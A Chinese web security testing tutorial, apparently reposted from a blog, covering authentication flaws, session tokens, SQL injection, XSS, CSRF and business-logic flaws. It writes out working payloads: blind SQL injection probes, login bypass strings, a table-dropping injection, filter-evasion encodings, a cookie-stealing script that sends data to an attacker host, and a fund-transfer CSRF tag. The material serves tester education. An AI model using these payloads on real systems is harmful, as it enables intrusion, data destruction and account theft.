安全测试

一、Web安全测试定义

 

Web安全就是要让软件面对敌意和恶意输入时，仍然能够充分满足需求。

Web安全性测试是有关验证Web应用的安全服务和识别潜在安全性缺陷的过程。

WEB应用程序的基本安全原则：（所有用户输入均不可信！）

 

二、Web安全测试流程

 

　　通常情况下，Web安全测试开展于功能测试后，性能测试前。

 

三、绕过客户端漏洞

 

客户端控件一般可攻击的包括以下几个方面：

• HTML验证

　　HTML 验证不应该被认为是一种安全的方法验证参数，这种验证方式只能帮那些不知道所需输入的用户缩短服务器处理时间，攻击者可以用各种方法轻易的绕过这种机制。任何客户端验证都应该复制到服务器端，这将大大减少不安全的参数在应用程序中使用的可能性。

• 隐藏表单字段

　　隐藏的HTML 表单是一种看上去无法修改，通过客户端传送数据的常用机制。如果一个表单字段标记为hidden 或者readonly 那么它就无法编辑，如果是完全隐藏则不会在屏幕上显示，但是提交时保存在表单中的字段名称和值仍然被送交给应用程序。

• Http cookie

　　与隐藏表单类似，http cookie 并不显示在用户屏幕上，也不可直接修改。而有些网站对于不同的会员等级会有不同的折扣，判断是否享用折扣就用cookie 来传达。如有些电商最早对金牌会员的折扣就是用 cookie 传达，类似在用户登录后返回一个响应：

HTTP/1.1 200 OKSet-Cookie:DiscountAgreed=80

这样我们通过拦截发现了该cookie 值并可在购买时对其进行修改从而拿到了更低廉的折扣。

• URL参数

　　应用程序有可能会使用预先设定好的URL 参数通过客户端传递数据，

　　当然这个url 不一定直接显示在浏览器地址栏中，也可能通过包含参数的url 加载框架内容或用弹窗等其他方法隐藏地址栏，这时仍可以用拦截代理服务器去捕获任何一个不规范的url 参数，方法与以上类似，直接修改价格然后提交请求。  

• 模糊数据

　　有时候通过客户端传送的数据是经过加密或某种形式的模糊处理，并不以明文显示。

四、攻击验证机制

验证机制常见的漏洞有以下几种。

1、密码保密性不强（弱口令）

非常短或空白密码
以常用字典词汇为密码（password、123456）
密码与用户名完全相同
长时间使用默认密码

2、暴力攻击登录

　　登录功能的公开性会诱使攻击者试图猜测用户名和密码，从而获得访问应用程序的权力。如果应用程序允许攻击者用不同的密码暴力尝试，直到他找到正确的密码，这个程序就非常容易遭受攻击。

3、双因子认证

　　双因子认证的核心是综合what you know（个人密码）和what you have（手机）来达到双重认证效果。目前很多电商、银行都采用了该认证方式。
　　该方式最大的缺点就是构建双因子认证需要成本较大，服务器压力也较大，成本较高。

4、详细的失败信息

　　经典的登录表单会要求用户输入两组信息：用户名和密码。如果登录尝试失败，我们可以得出结论，至少有一组信息出错。

　　如果应用程序明确告诉攻击者哪组数据无效，就可以利用此消息来暴力攻击用户名或密码。

5、修改密码功能

　　密码修改功能是否拥有隐藏的后台接口：如不通过登录直接通过url访问；或在应用程序中不存在功能链接但实际可以发现等；

　　是否可以使用不符合标准的密码

　　用户名是否随修改密码同时提交，由此修改用户

6、忘记密码功能 

•质询
　　通过回答相关密保问题来重设密码，如果质询问题比较简单，可以通过暴力攻击来攻破答案。

　　如果只知道其中一个问题答案，通过修改质询问题来输入自己知道的答案。
•邮件
　　重置别人的密码，修改接收者邮箱为自己的邮箱，访问即可重设密码
•手机
　　截获验证码发送请求，修改为自己的手机号，从而给你的手机发送一个验证码，页面上输入验证码可以跳转重设

7、用户伪装功能

　　伪装功能通过隐藏功能形式执行，即在应用程序任何地方都无法跳转到该功能，也不受常规访问控制。也就是说，在应用下有一个特殊的url可以链接到一个不需要核对用户身份的页面执行各种操作。

8、多阶段登录

　　应用程序可能会认为访问第三阶段的用户已经完成第一、二阶段的验证。因此攻击者可能被允许直接由第一阶段进入第三阶段并通过验证。

　　应用程序可能会认为每个阶段的用户身份不会发生变化，因此，并没有在每个阶段都明确确认用户身份。如果攻击者在两个阶段都提供有效数据，但是是属于两个不同的用户，那么应用程序可能允许用户通过验证。

　　应用程序可能会提出一个随机选择的问题，但是问题的细节并没有保存在服务器上，而是保存在隐藏的HTML表单字段中。这时候攻击者就可以通过修改隐藏字段选择已经截获或已经遍历到答案的问题，进行验证登陆。

五、攻击会话管理

　　

1、令牌生成

　　一些会话令牌通过用户的用户名或电子邮件地址转换而来，或者使用与其相关的其他信息创建。这些信息可以某种方式进行编码或模糊处理，也可与其他数据结合在一起。
如得到如下一串sessionid：557365723d61646d696e3b6170703d6461663b646174653d31302f30392f3131
分析发现这串字符只拥有十六进制字符，可以猜想为ASCII字符串，反解得到该串字符含义：
User=admin;app=daf;date=10/09/11
由此攻击者可以枚举大量用户名来生成可能有效令牌，实施攻击。

2、会话令牌加密

（1）消息和加密：

（2）鉴别、完整性和抗抵赖

除了提供机密性外，密码学通常还有其它的作用。

鉴别。消息的接收者应该能够确认消息的来源，入侵者不可能伪装成他人。

完整性。消息的接收者应该能够验证在传送过程中消息没有被修改，入侵者不可能用假消息代替合法消息。

抗抵赖。发送者事后不可能虚假地否认他发送的消息。

 

六、SQL注入

1、验证存在SQL注入三步法

　　http://www.xiaoxitest.com/test.jsp?id=1'

　　页面返回异常

　　http://www.xiaoxitest.com/test.jsp?id=1 and 1=1

　　页面返回正常，和id=1数据一致

　　http://www.xiaoxitest.com/test.jsp?id=1 and 1=2

　　页面出现异常或加载为空

　　若上面三步全部满足，则一定存在Sql注入漏洞。

2、猜解表名

　　http://www.xiaoxitest.com/test.jsp?id=1 and (select count(*) from user)>=0

　　http://www.xiaoxitest.com/test.jsp?id=1 and exists (select * from user)

　　如果页面与id=1完全相同，说明附加条件成立，即表名称user存在，反之不存在。可采用暴力攻击等手段继续尝试，直到猜到表名。

3、猜解字段名

　　http://www.xiaoxitest.com/test.jsp?id=1 and (select count(username) from user)>=0

　　http://www.xiaoxitest.com/test.jsp?id=1 and  exists (select username from user)

　　原理和猜解表名一样，只是把count(*)换成count(字段名)。可以先尝试从输入表单字段名称查找，一般情况下，为了方便起见，字段名会和表单名称取相同的名字。

4、猜解字段值长度（已经得到表名称和字段名前提下）

　　http://www.xiaoxitest.com/test.jsp?id=1 and (select length(username) from user limit 1)>5;

　　判断该第一条字段值长度是否大于5,如果大于5，则继续判断是否大于10、15、20等。最终找到该字段的长度。

5、猜解字段值（已经得到表名称和字段名前提下）

　　http://www.xiaoxitest.com/test.jsp?id=1 and (select ascii(substr(username,1,1)) from user id=1)>60;

　　判断id=1的username字段值的第一个字符ASCII编码是多少，从而找出在ASCII编码中对应的字符。可用折半法加速破解，ASCII码在0到127之间。找到第一个后接着找第2、3、4个，直到全部找出。

6、经典注入

　　如登录模块sql为：select id from user where username='+username+' and password='+password+';

　　如果我们用户名输入'or '1'='1和密码'or '1'='1

　　最终Sql被篡改为：select id from user where username=' 'or '1'='1' and password=' 'or '1'='1'

　　对于程序来说，该条件是成立的，只要该表里用数据，就会返回结果，一般应用程序会返回第一条查询结果作为登录的用户，而很多网站第一个用户为管理员。

 

　　如果我们用户名输入admin' --

　　最终Sql被篡改为：select id from user where username='admin' --

　　用户名后面语句都不会执行，从而登录成功

 

　　甚至可以用来破坏数据：'or 1=1;drop table user --

　　结果user表被删除。

 

7、避开过滤

　　有时开发会过滤关键字防止攻击者，如：select and drop 单引号等

　　可以尝试使用ASCII码动态构建：如使用char(39)代替单引号

　　URL hex编码：select 使用%73%65%6C%65%63%74来代替

　　变换大小写：如Select  And oR 等。

 

 8、ASCII码表

　　

 七、XSS/CSRF攻击

1、反射式XSS

　　也称为非永久性XSS，它出现在服务器直接使用客户端提交的数据，如Url数据、html表单中提交数据等，并没有对数据进行无害化处理。

　　如：http://www.xiaoxitest.com/test.jsp?input=<script>alert(document.cookie);</script>

　　当受害者点击这个链接的时候，注入的脚本被当作搜索的关键词发送到目标服务器的test.jsp页面中，则在搜索结果的返回页面中，这段脚本将被当作搜索的关键词而嵌入。这样，当用户得到搜索结果页面后，这段脚本也得到了执行。

 

2、存储式XSS

　　也称为永久性XSS，危害更大。攻击将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。

　　如：<script>location.replace("http://www.xiaoxitest.com/test.jsp?secret=" + document.cookie)</script>

　　当受害者的浏览器执行这段脚本的时候，就会自动访问攻击者建立的网站www.xiaoxitest.com，打开其中的test.jsp，将受害者浏览器的Cookie信息给记录下来。这样，攻击者就得到了用户的Cookie信息。

 

 　上面攻击的本质都是触发一个HTTP GET 请求把 Cookie 信息作为URL的一部分参数传给攻击者的服务器然后攻击者通过查看日志即可获取到 Cookie 信息。

 3、CSRF攻击

　　跨站请求伪造，它的破坏力依赖于受害者的权限。如果受害者只是个普通的用户，则一个成功的CSRF 攻击会危害用户的数据以及一些功能；如果受害者具有管理员权限，则一个成功的CSRF 攻击甚至会威胁到整个网站的安全。

　　如：A和B用户都登录了xiaoxitest.com的网站，B用户知道这个网站转账有CSRF漏洞。于是B用户在xiaoxitest.com发布了一条信息，这条信息包含以下代码：<img src='http://xiaoxitest.com/test.jsp?to=B&TransferFunds=5000' width=1  height=1 />。A用户正好读到这条消息，于是A的账户不知觉向B账户转账5000元。

八、应用程序逻辑攻击

1、欺骗密码修改功能

　　应用程序为用户提供密码修改功能：要求填写用户名、现有密码、新密码和确认密码等字段。

　　应用程序还为管理员提供密码修改功能：允许修改任何用户的密码，而不用提交现有密码。

　　假设代码通过判断是否包含提交现有密码参数来确定是否为管理员修改密码，普通用户通过提交不包含现有密码参数的请求，来伪装成功管理员，从而修改密码。

2、绕过支付

　　假设一个电商网站的购物流程为：1、添加购物车2、确定订单并输入支付信息3、填写收货地址4、商家发货

　　开发者认为用户总会按照预定的顺序执行每一个步骤，因此，开发者认为任何完成填写收货地址的用户一定已经提交了令人满意的支付信息。

　　开发者的设计缺陷，用户控制着向程序提出的每一个请求，可以按任何顺序访问订购过程的每一个阶段。如果从第1步直接跳到第3步，攻击者就可以生成一个已填写收货地址但实际上并未支付的订单。

3、越权操作

　　攻击者通过修改数据包中用户ID，来访问他人敏感信息或冒充他人发布或删除信息。

4、避开交易限制

　　如一个积分兑换商城，攻击者通过修改商品数量或修改商品总价为0或负数，从而实现购买或增加积分。

5、审核缺陷

　　一个发布网站，为了防止垃圾信息，需要通过人工审核才能显示，并且程序还允许用户对已通过的信息进行编辑。

　　此处存在一个逻辑漏洞：审核通过的信息，如果被用户重新编辑了，不会再次进行审核，导致可利用这个漏洞发布垃圾信息。

 

转载于:https://www.cnblogs.com/xiaoxitest/p/6221030.html